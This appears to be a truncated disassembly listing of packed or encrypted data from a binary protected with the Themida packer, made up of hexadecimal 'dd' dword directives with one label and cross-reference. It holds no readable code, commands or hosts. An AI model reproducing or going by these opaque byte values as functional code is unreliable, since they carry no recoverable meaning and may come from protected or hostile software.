0B591B0BFh, 4FC31011h, 7139880Dh, 0C230F93Dh dd 0F4D8590Dh, 11B591EBh, 5509B829h, 7EF401A4h, 0FDC84050h dd 1ABC820Fh, 17FDDC55h, 0ED3F98EDh, 7273A357h, 529EC441h dd 79B7B81Eh, 0FA0B17FEh, 36870674h, 77AC4264h, 0C1121639h dd 3A0325E1h, 0A6307871h, 0B2h, 0D755FCE9h, 77F58E02h dd 0B9132A2h, 0A03CCF3Eh, 46A66B59h, 0AA18FC84h, 40B287E5h dd 0DFD01983h, 7A6DBC20h, 0F23C5DCFh, 0FDE013DCh, 6622AF17h dd 9BD3625Bh, 0AC22E1D2h, 0C7D2CEE0h, 0D29B0FFDh, 599901DEh dd 0B29EB84Fh, 4AC07135h, 3DD2C0EDh, 174BC869h, 1951E025h dd 1BFCE3C5h, 3F4417FEh, 3DD1F7BBh, 83163924h, 9AFC5072h dd 0B9F17139h, 3D1Fh, 0DA715E00h, 7A03F742h, 0E6A717E2h dd 8144B386h, 2BE0CE1Bh, 8D871FB1h, 27F26A1Fh, 459408B5h dd 0E237B554h, 0B1C854EFh, 0E0885749h, 0AF3817FDh, 83FE9h dd 0AE7F0000h, 3A088E3Dh, 0D3C0716Fh, 1C8F663Ch, 73643D61h dd 0C5378ED4h, 1D8B6238h, 6D5B3268h, 0BC2B82D8h, 0CFC5509h dd 5A4E277Bh, 5776FDA1h, 0C7815F54h, 4, 8704EF83h, 535C243Ch dd 0C381E389h, 4, 4EB81h, 1C870000h, 4895C24h, 57E66824h dd 3C890000h, 19E5B824h, 40481DF3h, 7835D8F7h, 2D8C4EA6h dd 3AA5512h, 633E3540h, 0D0F708C2h, 0E23C9635h, 4EC839Bh dd 81242489h, 42404h, 685F0000h, 2D7h, 81240489h, 18312434h dd 478F0571h, 8778108h, 5711831h, 52243C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 48B5C24h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 0FD2D38E9h, 22F7E7FFh, 0B80557B2h, 6485000h dd 0C88BC503h, 11E8h, 8DECFE00h, 15520AECh, 0A9934614h dd 0D30AEFD4h, 0F38B5D45h, 0D681665Ah, 0C2815F92h, 6A4Fh dd 2F5857B9h, 0BF6Bh, 34FF0000h, 9E917h, 44060000h, 17DA98Ah dd 584D7E0Dh, 88DB8166h, 94C081ADh, 0F270C12h, 0F081F1BFh dd 39CC7702h, 0CE9h, 0DF81FD00h, 1684F197h, 4F7EFFBEh dd 2EC081D2h, 6633E0D1h, 50ED61BBh, 7F33B6B9h, 3A048F34h dd 13E9h, 0BB412800h, 22A4B94Dh, 37410C91h, 677D9F16h dd 156BA231h, 8E9h, 0FD863100h, 98B989DAh, 4EF834Eh, 208C181h dd 0FF810845h, 0FFFF9684h, 17850Fh, 0EE8A0000h, 23E9h dd 18E87500h, 1E1F7825h, 372B4B04h, 176883D0h, 0CEBF0FB3h dd 0FFFF5DE9h, 5702DFFFh, 5444715h, 9B21D710h, 0D9E9h dd 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h dd 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h, 3C0000h dd 400000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 20h dup(0) dd 86C0000h, 4CE90674h, 68000020h, 64854F2h, 0FD2B60E9h dd 563B68FFh, 56E90648h, 68FFFD2Bh, 6485700h, 0FD2B4CE9h dd 57D068FFh, 42E90648h, 68FFFD2Bh, 64858B7h, 0FD2B38E9h dd 595F68FFh, 2EE90648h, 68FFFD2Bh, 6485A47h, 0FD2B24E9h dd 5B1768FFh, 1AE90648h, 68FFFD2Bh, 6485E7Eh, 0FD2B10E9h dd 5EF168FFh, 6E90648h, 68FFFD2Bh, 648601Bh, 0FD2AFCE9h dd 633F68FFh, 0F2E90648h, 68FFFD2Ah, 6486709h, 0FD2AE8E9h dd 6A7968FFh, 0DEE90648h, 68FFFD2Ah, 6486BCEh, 0FD2AD4E9h dd 6C3868FFh, 0CAE90648h, 68FFFD2Ah, 6486CAAh, 0FD2AC0E9h dd 6CFC68FFh, 0B6E90648h, 68FFFD2Ah, 6486E05h, 0FD2AACE9h dd 6F2E68FFh, 0A2E90648h, 68FFFD2Ah, 6487020h, 0FD2A98E9h dd 7E1582FFh, 1EA71BEEh, 0BA4BBB8Eh, 25E8D722h, 0CF8472C7h dd 31E3FB5Dh, 4B9E0EC3h, 0E930AC59h, 6D349F8h, 1574E893h dd 0E42C3395h, 4B9417FDh, 0FFCDC04Dh, 0B59116D9h, 0DC59AA11h dd 3823B792h, 9A643DDh, 55FEB5F4h, 0AF233649h, 0DDAB1EF7h dd 0A3886D70h, 4D6F4B95h, 11B5CEA2h, 0D448D51Eh, 0CC8E3F9Eh dd 8F1E188h, 84B5E996h, 55ADB307h, 80FF0DFh, 5ED46D61h dd 0A8366CF9h, 17FB01BBh, 2C6E7791h, 0DEC012BAh, 52E5h dd 625BD700h, 3479BD3h, 0F3D96A5Ah, 11B591ECh, 0A58B0F54h dd 0FF09E71h, 21CEE024h, 0A117FA96h, 0EC79DE54h, 983B28B6h dd 291117FAh, 962C3395h, 0F79617FAh, 9CEAF5F9h, 0DE54A104h dd 0D76B394Ch, 0FB5DEEF1h, 8D015217h, 0C074DBCBh, 12484DEh dd 55360000h, 91B0BF11h, 0C31011B5h, 4B1FAC1Eh, 0FAED24AAh dd 6D71B4Fh, 84B5E992h, 5AD06D5Fh, 2A701583h, 432C82C6h dd 0FF11B591h, 0B629E076h, 0FAA06553h, 9734A67Bh, 2899400Ah dd 0E4BD1599h, 0DED29BF1h, 0DCF00125h, 11B59113h, 43D926AFh dd 0B59D9F01h, 0F9685B11h, 0C3CD3207h, 0BC20AD47h, 9BCF7A6Dh dd 8DCD7C59h, 0E7C9DC49h, 0CCB8E69Fh, 9E6E7846h, 83D00FF0h dd 0C3724B19h, 0BF0E28Bh, 0B8B9ED98h, 11D6673Bh, 0BFBEE49Dh dd 0FF33773Bh, 0FAB216D9h, 0D559AA17h, 424E4C8Bh, 2F6FF416h dd 0EEEE3A02h, 0E66C3484h, 72266BAh, 58F3751h, 22CDEF6Ah dd 9E1E4230h, 0B8EE9B0Dh, 5FB63CB9h, 0F940DC71h, 1EAD1E0Bh dd 9154B191h, 0E327713Ch, 1D1DF5h, 0EC53200h, 0AE574B9Eh dd 4AFBEB3Eh, 0F59807D2h, 9F34A277h, 61334B0Dh, 0FB4EDE73h dd 19E07C09h, 0B68319A8h, 6524B843h, 0E5DC8325h, 1B6417FDh dd 14F8553Dh, 4BC0DCA4h, 0F9E73EB4h, 8E01C854h, 4167BBF3h dd 11B6419Eh, 9A0CD122h, 32B8B9EDh, 625BA69Ch, 0F1259BD3h dd 4F0FF09Dh, 0D81C6006h, 842CC66Dh, 0DAF20902h, 17FB0F15h dd 0EB2E7CADh, 66928EE2h, 36D1C419h, 634DC170h, 17FB8970h dd 8049E426h, 34056D0h, 0EDF09218h, 0C01D39ADh, 0ED62DEh dd 55500000h, 0D6821AF8h, 0F1E101DFh, 6EEB0A50h, 3BE31E8h dd 7F98DE4Bh, 0F9021B54h, 56441D75h, 3A5F9B1h, 11B5F85Ch dd 0F9DF9FE4h, 11B5F8F6h, 0DDB5394Ah, 0B6052DF3h, 4BF6E911h dd 836C5A03h, 432187EFh, 0EB30BDC5h, 4AC44AFBh, 0B7290CFFh dd 0C24C02Eh, 9B18A3CCh, 536A481Eh, 0B214A8E2h, 11B5A2ADh dd 5DD4A317h, 0B41F5535h, 7C07FA2Fh, 42148AF6h, 0FC0FF11Bh dd 1EBFF577h, 7FC9EFAFh, 0C51642CDh, 144AF5E8h, 7D698E5h dd 66BAF499h, 42E19F40h, 98D2231Eh, 42E13926h, 0F67C891Eh dd 36239158h, 0DC6D5DC6h, 0DBF0D25Fh, 10713D42h, 1BD43E98h dd 0EFB0000h, 0A014E547h, 44B485E7h, 0E1D01983h, 7D6BBE2Eh dd 0EAF254C8h, 9517BC2Ah, 37B55244h, 0CA52F1E2h, 6BF18C7Fh dd 25CAEC2Eh, 9D17FDE7h, 0D2C0744Ch, 675AAF3Dh, 0C01240DCh dd 956C32CDh, 8E056722h, 7BCAC372h, 5BBFF33h, 11B5915Ah dd 37199DE6h, 0FF08943h, 0A34960F5h, 5A80FCB4h, 620DA3E7h dd 35D48918h, 8918CC93h, 44EF74D4h, 0DCF9BB3Fh, 638B2D6Dh dd 36D2C420h, 2213DCF2h, 0DDD1DACEh, 0FE748124h, 64560C59h dd 785E10A1h, 0D9093A70h, 5CC981D2h, 828462D4h, 5619BFC3h dd 0EAE11346h, 2A961C99h, 77F59003h, 0D3786637h, 46B96E8Fh dd 0C056E7BBh, 0CBEB9609h, 340DA70Ah, 0F1FB9F1h, 0C000001Bh dd 59A03CD3h, 0F940DC65h, 15E47809h, 0B079E3A6h, 0BD1F8D42h dd 0CC816F25h, 6A178950h, 17B627F2h, 0B6514495h, 0F52B5336h dd 17FDE8EAh, 0C00F0956h, 6C32CDh, 11846559h, 84B5E976h dd 0F8494C0Eh, 37AB72B6h, 9426088Eh, 0C90FF0B8h, 0CB10AF20h dd 0F8792DD8h, 0C90E572h, 0DFFE7787h, 897D2C6Eh, 90367AF0h dd 1635B2EAh, 8A6B5F4Ch, 5346A19h, 6A143BB8h, 0D2EFF0D6h dd 2531E3Fh, 353AA28Ch, 426B558Fh, 7FB8904Fh, 65AC28h dd 0D85EDF83h, 0D892239Ah, 49BB9E11h, 0CA6B3FBCh, 38A61844h dd 86E42BACh, 0F2CB297Dh, 0C3950B43h, 0EAEA70C6h, 0E86F7056h dd 82D3F27Ah, 105AAB0Ch, 31AB5649h, 684AF5E8h, 4575497Fh dd 3F4A0C9Ch, 1000001Ah, 0A970ECA3h, 0C9108C35h, 65B428D9h dd 8049D376h, 6DEF7D12h, 0BC51BF55h, 5AE7D920h, 0C78677C2h dd 66219465h, 0A51B8306h, 17FDE8BAh, 55DFF906h, 6522ABF8h dd 68587F26h, 0BE105AA7h, 11B656B1h, 974EC411h, 0F7C59924h dd 93D767D6h, 5F53A1B6h, 0CB8382A9h, 0B6870AD5h, 0A92DB611h dd 0F1844B87h, 498ED0Fh, 0A5F9808Fh, 0FB9C5C03h, 9B289A17h dd 468F36C7h, 0BA0B82F0h, 942CDEF0h, 798A1636h, 4CE74A56h dd 0F5A480A7h, 13227801h, 49F8DD9Fh, 0AC1CCD01h, 20B6471Bh dd 2473D01Eh, 41E56EB9h, 0A3EB5A73h, 25790AFAh, 0B1B5B314h dd 5F10556Bh, 273197DBh, 9DBF6921h, 69570648h, 0FB7FFEA4h dd 3BAA73B7h, 0D8CB0288h, 0BBFFBF2Dh, 73435A05h, 489DE6C7h dd 0EB22A857h, 48654DF8h, 831A6DA4h, 19585107h, 8A770000h dd 1C9059C3h, 0C030F963h, 5D4C9D0Fh, 0F9E732AAh, 6E76C854h dd 99338A6h, 0AB31CEC0h, 4EDE6D5Eh, 0EF7D08FBh, 0A14E60AAh dd 2117FDE9h, 0CDC0F0D0h, 8F0E6C32h, 5C5A7C3Eh, 0E20FF0A3h dd 8D840B91h, 2862D3EAh, 35BA04F6h, 8679B216h, 0B55B7EFBh dd 21807784h, 941F0D5h, 4C5D41Ch, 179B4B59h, 0D5E975ABh dd 0C35719BCh, 0D746298Fh, 69FA21C6h, 0C6D79C43h, 52DF2421h dd 5EEF2E0Ch, 0CA6DD81Ch, 0E26D803Eh, 3B2D3387h, 892001B0h dd 2FFE327Ch, 548D01BCh, 0F346A661h, 565D4500h, 857B0633h dd 18B05305h, 329F0000h, 0C438019Bh, 6858A13Bh, 5F445A7h dd 0A10FDA42h, 0C6DE70ECh, 0B12BE0CEh, 53C97668h, 0F6761586h dd 9715B023h, 491688F2h, 0F917FDEAh, 0CDC0A868h, 59006C32h dd 2C85D968h, 0D810EB9h, 0BFFF4E4Fh, 0F0BD4919h, 666EF0Fh dd 0C5C06D89h, 85733A74h, 70569AC0h, 17FAB76Fh, 0E00582D3h dd 90DC52EDh, 35AF4C3Eh, 0EBCD0116h, 1E3FD004h, 14A337BCh dd 0EEDE8FCFh, 8E014879h, 3FBCAA34h, 0A315CA6Bh, 0A54B90E6h dd 8A068A6Dh, 9406EF2Eh, 8E206AF7h, 0B043B060h, 10DFF135h dd 0B0B84DB2h, 0AAB56B23h, 16B84DB2h, 0A8EE49CDh, 4DB26976h dd 8A33A7B8h, 95DDA2Bh, 6B23922Bh, 88CAA3B5h, 9AD421B6h dd 0FD22E3D3h, 0B6FA7009h, 0A111F4E7h, 0F5E3BAE0h, 9C0ED350h dd 2FFA62EFh, 182101BCh, 0F3118D4Dh, 17C821B7h, 1A870000h dd 0AC20E973h, 50408913h, 0EDDC2DBFh, 8977C25Ah, 0DEE658C4h dd 9903C836h, 3BA15E50h dd 0DE4EFDEEh, 7FED980Bh, 313E901Ah, 9117FDEBh, 84554040h dd 1307611h, 8B3155A0h, 0BB3FDBB5h, 1E8C6F62h, 44B6EC69h dd 18BEF041h, 0FFDCE28h, 0CD01499Ah, 441AAD1Ch, 194DFCEDh dd 3E179B18h, 0C8AC30CBh, 8CEB99B4h, 0EE2C14E1h, 0FDEB21CEh dd 9A0CA117h, 3BB8B9EDh, 0EC56A9B7h, 820F17FDh, 36AA733Bh dd 4EBCD8Dh, 0BC17FDEDh, 0DC2DA337h, 0E0CE5EE9h, 0E4DA9425h dd 16461DCCh, 7867599Dh, 0C81E463Fh, 0BA037BBh, 85B4EA9Bh dd 6B327638h, 9148CE77h, 31F8641Dh, 856A5CBDh, 0F2E7415h dd 88610582h, 0C7486A15h, 8471409Fh, 16F85204h, 0EAD70000h dd 7C70B923h, 209059C3h, 0BD2CFD6Fh, 5947920Ah, 0E9628B4h dd 69F39806h, 0B912EA0h, 0AE3ECD3Eh, 4FDD685Bh, 1EEC04Ah dd 4117FDEDh, 625B1030h, 0B259BD3h, 0B90FFDC1h, 48BB622Ch dd 0B4F2FBDh, 0FDE3CA95h, 8E207617h, 17FDE3E1h, 3971461h dd 89C17851h, 9730A475h, 0E3363D03h, 718217FDh, 0E5AFA32Dh dd 79E717FDh, 0F6B03664h, 59EBDEC2h, 0A7000000h, 0CE4407F6h dd 0D76E5BFCh, 2A9A4387h, 20CB1599h, 9811B591h, 23F12D6Fh dd 9B3C8AC6h, 11739F7Dh, 0D466E323h, 0EA313E90h, 449111B5h dd 1BC896CEh, 7111B5ECh, 1A8CCED7h, 45D87AFDh, 18h, 931B3777h dd 5D7811B5h, 5E0CA2ECh, 330FF09Fh, 47CB786Ah, 0DBF963F0h dd 0B0BF1155h, 1011B591h, 10AB1EC3h, 7527AB4Ah, 15A9E150h dd 91F0FFD1h, 35011B5h, 9961A18Fh, 6D3C0FF0h, 9B9AC079h dd 6F334017h, 4982396h, 6307C235h, 0BE2F1C8Ah, 76DC820Fh dd 0AF22DDE0h, 4E418814h, 0C132FBB3h, 59DD5C02h, 2B9A3301h dd 35EB2F63h, 17FA9B2Ah, 0E7C94D96h, 1635A567h, 17D8FE32h dd 0AB1E3FA3h, 0F203D45Ah, 4E03F1B8h, 108356C8h, 0E1AF3175h dd 6EA60C4Ch, 0C73AF508h, 8FD37464h, 0AE7BE16Eh, 3DA803Bh dd 3AADF194h, 7568A3BAh, 148752CAh, 0CBED2169h, 96764A24h dd 8BC3579Ch, 15856CA9h, 820F2E74h, 5CC0D6C8h, 0D17E94B1h dd 0A48553CFh, 4BD15EE6h, 2A700BFEh, 0DD806153h, 3D3933E8h dd 41184ECBh, 17EEB44Dh, 641E5A8h, 897CB7CEh, 99DF71FEh dd 0AB564984h, 4AF5E831h, 56E72614h, 0A570A204h, 0E5C69AF5h dd 0E01155F4h, 0F1501F47h, 0B13E47E4h, 50EBDE2Bh, 508F440Ah dd 0EBD79300h, 7DB7FA57h, 0BB2C517Dh, 2DCE91h, 6DE172B3h dd 0B82BE6FFh, 289C4D0Dh, 0B4851B9Fh, 7DE8443h, 893EAC99h dd 83A724D5h, 0D20D1020h, 6FBA22E1h, 0C29BCF7Eh, 0E06A30D3h dd 3FB06B72h, 0AF1FCE80h, 25A9481Eh, 0DE6D5EABh, 1F5A488h dd 580F278h, 0BEC4FAB4h, 78B13B34h, 0B030B7EBh, 0C28172ADh dd 0E3789D88h, 0D68B7676h, 56DC59E2h, 0C535E4B8h, 5BDF5E04h dd 0DA500F82h, 2CA59662h, 58867A5Bh, 4CD1A6FFh, 0CFC29BCFh dd 839D6E34h, 30962A7Ah, 0B945482Fh, 72E14293h, 0DD97680Bh dd 0CDC0199Dh, 23CAAA32h, 845115B0h, 448DEE4Bh, 0AD21AE9Eh dd 9BBFBEBh, 49A480h, 0D4680000h, 4498EDF2h, 6A5855B9h dd 0F37081A5h, 84554D7Fh, 0C2D7116h, 0AF5E4F86h, 601CB9FBh dd 0B591A14Eh, 0A7192111h, 11B591B8h, 0F17EFB08h, 43B465B9h dd 9E200E84h, 200FF0A7h, 88C556F7h, 8D5A67h, 25B29Ch, 0C09C0000h dd 281114CFh, 567D9CC7h, 80A995C9h, 0A2B7F10h, 46F7D684h dd 0B929F034h, 56BC8208h, 0E00FF180h, 7A2B0993h, 6BDAF37Ah dd 89FD8D23h, 2ABB0FF0h, 0FDD3C560h, 4829A689h, 0CD3F9C2h dd 51224BA9h, 13B5C574h, 0AE8CECBh, 78BAE075h, 0CA2EC5Dh dd 112DE85Ch, 0DB6C5C0Dh, 57E07687h, 96084C0Eh, 19380AC9h dd 3A66EC79h, 0B5C58073h, 0A905F71h, 0A3301938h, 7568B12Fh dd 3E641F92h, 49FAEA3Fh, 6A2FEACCh, 0DC2C6C32h, 1391FAh dd 0BA51BE00h, 5AE3D722h, 0C68777C2h, 61249366h, 0BC02EFBh dd 0EDA73F91h, 7D24AFFh, 0A574E895h, 0C2179534h, 0D1A834CFh dd 0EF6877A9h, 8FD817FDh, 90283789h, 587D11B5h, 270FA1E9h dd 990FF08Eh, 44968C68h, 0CD6663B2h, 0D77EA7D2h, 4779311Ch dd 17FADB98h, 1C5EDB28h, 0EDAD5C4Dh, 0BB3FC83Ch, 24E3D425h dd 8934A77Eh, 0F53BF2A9h, 4711996Ah, 131Eh, 9F0DC431h dd 3FAD564Ah, 0D349FAEAh, 68F49706h, 0E9E33A1h, 7260344Ch dd 8FA4FDDh, 0A718E17Bh, 42B58418h, 3A642587h, 0FDEFDB84h dd 3E1A6717h, 9BD3625Bh, 6EB362AEh, 589459Fh, 483F6759h dd 74810FF1h, 0C67F733Ah, 65570666h, 62ACB315h, 0CF1417FBh dd 991D1C42h, 0F9EB4C40h, 9AE7164Ch, 0CF7A6DC4h, 91942C9Bh dd 0E816256h, 625718BEh, 9AEB17FBh, 870C901Dh, 0B429E192h dd 0D45084A0h, 42BA880h, 28621B8Fh, 2CF19001h, 0A7560CBBh dd 7D557B53h, 0E417FA99h, 10843F46h, 7DB1F577h, 522F9ED0h dd 0F1DB1F09h, 17FAF3EEh, 548D0152h, 0B183A760h, 3395A514h dd 164322E1h, 99400A5Bh, 0AD019B26h, 8F2CAA80h, 42ED4629h dd 0C869FA1Eh, 0B307086Dh, 86DC675Ah, 0EEA011B4h, 711483AAh dd 0EFC12Dh, 401E4310h, 1E20B633h, 1C8B3ED3h, 91581263h dd 22B631Eh, 0E57BFF94h, 40E6A114h, 0D43DAD7Ch dword_573F68 dd 0FC7D21E6h, 840A2B7Fh, 3446F7D6h, 0C6837C92h, 4295C222h ; DATA XREF: Themida_:0055A62Ao dd 76D4B867h, 8A1B3BB8h, 117DCADDh, 11F43F99h, 0EEDB0000h dd 8074C527h, 249465C7h, 0C130F963h, 5D4B9E0Eh, 0A9234A8h dd 75F79C0Ah, 179532A4h, 0AA32D1C2h, 4BD16C5Fh, 5EACC4Eh dd 0BD17FDF2h, 2F37142Ch, 0EF11B591h, 97DD4FFEh, 0B1A9A336h dd 3BCC753Fh, 3D66C68Ch, 0EAF77839h, 47642470h, 456D350h dd 8FB6655h, 8B08297Dh, 4655B07h, 0B00FFDF2h, 0ED9E43EEh dd 0F53C1F70h, 0FDBD18C7h, 0DE5BA817h, 2CDDCD9Ch, 0E7882E62h dd 5B17FDBDh, 0D40A840Ah, 0FAAC475Fh, 19710D8h, 5BA20000h dd 0D485D56Ch, 0AA3506E5h, 3A4A38EBh, 0C248E9BDh, 5F7355E0h dd 0C211B593h, 916708AEh, 33D911B5h, 0A59B39B1h, 7AA1CE75h dd 3166504Fh, 434B13Eh, 768B6F55h, 0D2635B50h, 23DED198h dd 4A78FE7Fh, 0B644E1C5h, 34669ABDh, 5BFAC84Eh, 4C6AF26Fh dd 0BAB0529Eh, 3611DEF0h, 24B111B6h, 3232E9A7h, 7AAC375Fh dd 4860DBh, 0E82C0000h, 0B5912936h, 0C64C990Eh, 0D2635BE4h dd 5F7355E6h, 3211B593h, 92C87D6Bh, 3B48EF63h, 556F550Dh dd 30761184h, 64548D01h, 85BB95A3h, 77108455h, 0DB685A33h dd 65E97687h, 5753h, 0A81AC300h, 29B64F43h, 635B87A5h dd 0EA771C8Ah, 7FF855DEh, 8D24B187h, 923478FEh, 11B68DC0h dd 7867599Dh, 0C811B68Bh, 2ABB37BBh, 4811551Eh, 0DE81AB54h dd 6211B591h, 91F5FADCh, 384D11B5h, 374B37BBh, 0C3F17666h dd 63EB7925h, 53E2B805h, 0D0C0EDDFh, 85BB013Fh, 71168455h dd 0D0860C2Dh, 0DB7AACC6h, 3491h, 6F5B2300h, 7355FAD6h dd 11B5935Fh, 59D1732h, 0FA43553h, 0BFF2C8Bh, 67552C72h dd 0F07DFCA2h, 6F554573h, 533CCC0h, 0C032FBBBh, 3FBD8F03h dd 4Bh, 11845501h, 0A0013076h, 0E31A41C6h, 0B49CD1Ch, 16705EBFh dd 0B5FCAFB0h, 45C21311h, 0A5931021h, 935F7355h, 63C211B5h dd 89F85555h, 79E64790h, 68AA169Ch, 533CCC0h, 76118455h dd 1BC252E0h, 0AEBB1CA9h, 45A6076h, 3FEEDC52h, 0FFFFFE60h dd 0D3625B01h, 0A6EA479Bh, 0EF82AA36h, 8F3AAD72h, 8AD45ADBh dd 0FFDD6B6h, 0E6B7C70Ch, 9ED448F3h, 8CC08A33h, 85EEBDDh dd 0AE34E0CDh, 8C09EF9Fh, 0F2373806h, 7A8B17FDh, 0F2B3BA24h dd 7BE517FDh, 776B3262h, 980E48CEh, 0C3DEC305h, 21h, 931C37F1h dd 0EFE211B5h, 0DCF6C854h, 0BF11B593h, 0C9EFAF1Eh, 0FF0A089h dd 0C46A62Fh, 0C2h, 0D3625B76h, 21E2D29Bh, 69ADE1ADh, 0B591A8B7h dd 47CB1811h, 0F0994579h, 206AFB0Fh, 63F98879h, 0DB685A03h dd 0BB2E87h, 0AD5CB83h, 0B617FA9Bh, 7F70A92Dh, 7D589AC0h dd 2C82CCh, 0BA1642CBh, 730B9D0Dh, 7EFB1629h, 0CC7D6D3Ch dd 0AF136796h, 0EE7E0DFEh, 471BAA1Bh, 0A9E15075h, 0AC710E80h dd 25D48A3Dh, 0DECBEDD1h, 561C8B42h, 1C094D0Dh, 0A10737FAh dd 248AD9BEh, 7B50F102h, 4DD51A8h, 0A376F691h, 0CAAD9530h dd 0B177858Fh, 0ED05F79h, 12FF0000h, 0A418E17Bh, 48B8811Bh dd 0E5D42587h, 816FBA22h, 0E6FE50CCh, 910BC02Eh, 33A95648h dd 0D656F5E6h, 77F59003h, 2936E812h, 9917FDF4h, 0CDC04848h dd 94CA796Ah, 0EB421865h, 0E5A415F8h, 77709441h, 43506960h dd 462579C6h, 8174AFB6h, 0B31E19E2h, 50E18540h, 4D9193F7h dd 934BBA85h, 67E461C4h, 0C63BAB05h, 3964D87Ah, 28000000h dd 2FF48D01h, 0BE8C02BBh, 9BD3625Bh, 0F098B925h, 0A8FE070Fh dd 62279544h, 7C235ECh, 0FE6154A5h, 0ACF27F0Ch, 0BCFE4F4Eh dd 164CFDEDh, 892F93E7h, 1635A2B5h, 7C62FA0Bh, 0A933CCC0h dd 1A8B6C60h, 0E28D236Bh, 5E11B591h, 8CD28815h, 11B591ECh dd 9408B728h, 0C4EFFDEh, 1FB221C8h, 0C147B59Bh, 44F50FFDh dd 0E1B90CD7h, 4DF8EBB9h, 0F70B43C0h, 8208B326h, 0E0AA5B4Bh dd 663CC539h, 0CAA26ED7h, 90F418AEh, 555E841Ah, 2D711684h dd 0D6D0860Ch, 81D8FAACh, 182h, 0D56C5B33h, 5F7355FBh dd 0C211B593h, 6F555563h, 5550768Bh, 2C721584h, 0F3CB890Dh dd 0E1C57642h, 790EFCADh, 0B5918C53h, 4C623411h, 11B591A3h dd 0C549D61Fh, 0D66F5BE7h, 14DEA984h, 0E68932F4h, 0A05B1C85h dd 61F57271h, 9D4C3243h, 291B9F2Ah, 7AAC375Fh, 3C60DBh dd 5B520000h, 0B6B91F63h, 0A11B591h, 554C7CF9h, 0B5935F73h dd 7C6B3211h, 45F245C9h, 0C01F3B41h, 93AD2A68h, 75128455h dd 0C007BDE1h, 0BB013FD0h, 553F85h, 0AE7F0000h, 5ADB8F3Ch dd 635B96D4h, 0DFD198D2h, 9126C9EFh, 499A11B5h, 556446CCh dd 0B5935F73h, 66173211h, 0F42B9802h, 30B10D81h, 34115500h dd 58EBCC25h, 96D45A92h, 0B0BF1155h, 1011B591h, 1FAC1EC3h dd 0ED24AA4Bh, 5B024CFDh, 1557DB6Ah, 71168455h, 5FB95FFDh dd 0DB7AAC37h, 4960h, 0F8555200h, 150AFDC6h, 195BDFFAh dd 974608B1h, 68C16528h, 6190D679h, 555C6EE4h, 0B5935F73h dd 0BC8CD911h, 0CCC06F55h, 76277B33h, 9D6C685h, 0B911B591h dd 9120CFE1h, 53A011B5h, 0E0A111D6h, 85BB586Ah, 423Fh dd 11550100h, 0B591B0BFh, 4FC31011h, 0C3C850Dh, 55481155h dd 0A91DF4AAh, 311F9310h, 11B59321h, 8C3DAD7Ch, 0F28B7FD6h dd 0BC4DE175h, 57E6BC4Bh, 0F855FECAh, 3B2338EDh, 590589BBh dd 33CCC07Bh, 5585BB05h, 0FE741384h, 0FFFE6ED8h, 625B3AFFh dd 0B259BD3h, 0B90FFDC1h, 0A80E8474h, 17FDE3C7h, 396DEA7Bh dd 2AF3BB38h, 9B420CB7h, 33C2982Dh, 464321BFh, 5619BFFFh dd 117FDE3h, 82D86758h, 1ADA6457h, 41CE11E6h, 51196ACDh dd 14BBE4F4h, 77FB8819h, 8DACB11Fh, 7A6E17FEh, 0D2C49DC1h dd 82927135h, 92333C7Bh, 59C95FE5h, 748997DCh, 0C215012Ch dd 0C12F33CBh, 0BD9B0B4Dh, 10C4DEC2h, 0F6000000h, 0B5931C37h dd 54EFE211h, 0EEFEC8h, 55C00000h, 0AD721584h, 54068C3Dh dd 0DF8EC071h, 96DA50EDh, 0F0A1DE30h, 5B13600Fh, 0FA622192h dd 6557BE2Fh, 0F67382D8h, 0FA4B42B0h, 955A7CB0h, 2D17FAC1h dd 0C1ACB315h, 0CF1417FAh, 9A2F9D42h, 3276A814h, 901642F1h dd 71620B43h, 436A4AD2h, 0E73EB451h, 560757F6h, 7B53A764h dd 82759C39h, 795FA3C7h, 1E431376h, 0BF3CB9CAh, 25BA2EFFh dd 1DA77529h, 840A9703h, 6E4084D8h, 1E42F781h, 103EB4C1h dd 1C8B3F09h, 0D21658ADh, 915F5F77h, 4CC2C0F0h, 74AA2295h dd 248AC56Bh, 0B77AB9D5h, 5EC5012Fh, 50148815h, 0F5B5BA1Ch dd 0F80D248Ah, 9D289B72h, 8555C8B5h, 7167A377h, 0B06h dd 0B735DCC9h, 57D56E62h, 0EB711282h, 801CAF1Eh, 26864BB9h dd 8A781CA4h, 209267C5h, 0BF30F963h, 5A4D9C00h, 0D25C3DAFh dd 0FDF8F3FCh, 6024F17h, 7B6ACDC0h, 3F2086C8h, 8311B591h dd 4DB1F572h, 0A892B8E0h, 0E46AD982h, 5B0FBA2Dh, 0AA657888h dd 56108C37h, 0D87AF350h, 3E0Bh, 1155B900h, 0B591B0BFh dd 4FC31011h, 7139880Dh, 0F0A76F5Fh, 0CA84D10Fh, 0BD4F10B6h dd 3AF317FAh, 3AB03DC6h, 6D188B62h, 54B72AFFh, 7180A661h dd 494CAEF4h, 0FE10B6F8h, 401635CDh, 558BA933h, 91B0BF11h dd 0C31011B5h, 9922964Fh, 0EB9408D1h, 726186B7h, 83C55BDFh dd 11B591E3h, 55F8E7B6h, 0B36AE011h, 45198342h, 0EF632494h dd 91D968ADh, 0FDC0D23Fh, 0DC35620Fh, 931692DEh, 2961EEh dd 776DFF90h, 0FAAC475Fh, 5D4D1CD8h, 4E7626ACh dd 44000001h, 85D56C5Bh, 9CD2E441h, 9B696186h, 0B669AEB1h dd 4DC11211h, 0DD11557Fh, 0B591F4FBh, 705F4C11h, 0EB6889DDh dd 93895967h, 69C411B5h, 53DF33F9h, 39B539ADh, 115598A8h dd 24AA5548h, 50768B06h, 98D2635Bh, 917D6244h, 0B0C511B5h dd 9FC5083Ah, 0A51B6F5Bh, 11B591BAh, 8A794604h, 8B2ADFCAh dd 86C8D97Ah, 54029C8Eh, 4C32F9D7h, 1A90299Dh, 0AC375F28h dd 0BD6CDB7Ah, 4636BC4Dh, 41h, 1F635B74h, 0B591B6B9h, 7CF90A11h dd 5F73554Ch, 3211B593h, 48CE776Bh, 55AA66EFh, 2E741384h dd 0FDC78B0Fh, 7367D0C0h, 406594CAh, 4EEFB34Ch, 0EEE089C1h dd 66EC0D51h, 3F85BB44h, 20h, 0D2635B01h, 5F7355E6h, 0C211B593h dd 31972B63h, 11B5912Eh, 0FFCD4192h, 0D0C06F55h, 